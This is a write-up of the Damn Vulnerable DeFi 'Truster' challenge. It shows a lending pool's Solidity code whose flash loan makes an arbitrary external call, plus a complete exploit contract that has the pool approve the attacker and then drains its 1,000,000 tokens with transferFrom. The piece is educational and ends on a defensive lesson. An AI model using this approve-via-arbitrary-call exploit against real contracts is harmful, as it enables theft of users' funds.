Appearance
Unmasking the Truster: How a Flash Loan Pool's Trust Became Its Undoing
Flash loans – the siren song of DeFi, offering instant, uncollateralized capital for clever arbitrage or liquidations. But what happens when a lending pool, designed for these powerful financial primitives, trusts its users a little too much? Welcome to "Truster," a captivating challenge from Damn Vulnerable DeFi, where a seemingly innocent flash loan mechanism becomes the Achilles' heel for a million DVT tokens.
The Setup: A Generous but Vulnerable Pool
Our story begins with the TrusterLenderPool, a fresh new entrant into the DeFi landscape. Its proposition is simple: free flash loans of its native DamnValuableToken (DVT). The pool is generously funded with a cool 1,000,000 DVT tokens. Our mission, as the aspiring ethical hacker, is clear: rescue all these funds and deposit them into a designated recovery account, all within the confines of a single transaction. We start with nothing.
Let's peek under the hood of the TrusterLenderPool:
solidity
contract TrusterLenderPool is ReentrancyGuard {
// ... other code ...
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount); // Transfers 'amount' to 'borrower'
target.functionCall(data); // Calls arbitrary 'data' on 'target'
if (token.balanceOf(address(this)) < balanceBefore) {
revert RepayFailed(); // Repay check: Pool's balance must not decrease
}
return true;
}
}
At first glance, the flashLoan function looks standard. It transfers the requested amount to the borrower. The crucial part is the target.functionCall(data); line, which allows the borrower to specify any target contract and any arbitrary data to call on it.
Then comes the "repayment" check: if (token.balanceOf(address(this)) < balanceBefore) { revert RepayFailed(); }. This condition only checks if the pool's own DVT balance has decreased. If the balance remains the same, the loan is considered "repaid" or, in this case, the transaction is allowed to proceed.
The Vulnerability: Arbitrary Execution with the Pool's Authority
The elegance of the exploit lies in understanding the context of target.functionCall(data). When this line executes, the msg.sender for the call to target is the TrusterLenderPool itself. This means the pool can be coerced into calling any function on any contract with its own authority.
The critical insight: What if the arbitrary call made by the pool doesn't directly drain its tokens during the flash loan, but rather sets up a condition for us to drain them after the flash loan returns?
This brings us to the approve() function, a cornerstone of ERC-20 token standards. If the TrusterLenderPool could be made to approve() our attacking contract to spend its DVT tokens, then we could simply transferFrom() those tokens to the recovery account.
The Exploit Strategy: A Trojan Horse approve
Here's how we execute the attack in a single transaction:
Initiate a Flash Loan (with a Twist): Our attacking contract will request a flash loan from
TrusterLenderPool.amount = 0: We don't actually need to borrow any tokens for the exploit itself. This ensures the initialtoken.transfer(borrower, amount)doesn't affect the pool's balance.borrower = address(this): Our attacking contract.target = address(pool.token()): This is the crucial part. We set thetargetfor the arbitrary call to be theDamnValuableTokencontract itself.data = abi.encodeWithSignature("approve(address,uint256)", address(this), TOKENS_IN_POOL): Thisdataencodes a call to the DVT token'sapprovefunction. The arguments areaddress(this)(our attacking contract) andTOKENS_IN_POOL(the entire 1 million DVT).
The "Approval" Stealth Attack: Inside the
TrusterLenderPool'sflashLoanfunction:token.transfer(borrower, 0)executes, doing nothing.target.functionCall(data)executes. Sincetargetis the DVT token contract anddataisapprove(ourContract, 1M), the DVT token contract'sapprovefunction is called. Importantly, themsg.senderfor thisapprovecall isTrusterLenderPool.- Result: The
TrusterLenderPoolitself, through its own DVT token contract,approvesour attacking contract to spend all 1,000,000 of its DVT tokens.
Bypass Repayment Check: The
if (token.balanceOf(address(this)) < balanceBefore)check passes because no tokens have actually left theTrusterLenderPool's balance yet. Only anapprovalhas been granted.Drain the Pool: Immediately after the
flashLoancall returns to our attacking contract, we use the newly granted approval. Our contract callstoken().transferFrom(address(target), recovery, amount)whereaddress(target)refers to theTrusterLenderPoolitself. ThistransferFromcall moves all 1,000,000 DVT tokens from theTrusterLenderPoolto therecoveryaccount.
The Solution Code
solidity
contract MyContract {
TrusterLenderPool private immutable target;
constructor(address _target, address recovery, uint256 amount) {
target = TrusterLenderPool(_target);
// Encode the approve call: Pool's DVT token contract will approve MyContract
// to spend all the tokens. This call is made by the TrusterLenderPool itself.
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), amount);
// Initiate the flash loan with amount = 0, targeting the DVT token contract
// and executing the 'approve' call.
bool res = target.flashLoan(0, address(this), address(target.token()), data);
require(res, "Fail to flashLoan!");
// After the flash loan, MyContract now has approval from TrusterLenderPool.
// Use transferFrom to move all tokens from the pool to the recovery account.
target.token().transferFrom(address(target), recovery, amount);
}
}
The Takeaway
The "Truster" challenge is a brilliant illustration of a common vulnerability pattern: unrestricted external calls using the contract's own authority. By allowing users to specify an arbitrary target and data for an internal functionCall, the TrusterLenderPool essentially granted a back door. The crucial lesson is that a contract must be extremely careful when performing arbitrary external calls, especially when those calls originate from the contract's own address (msg.sender) and can manipulate its own assets or state. The flash loan aspect was almost a red herring; the true vulnerability lay in the pool's misplaced trust in the borrower's chosen target and data.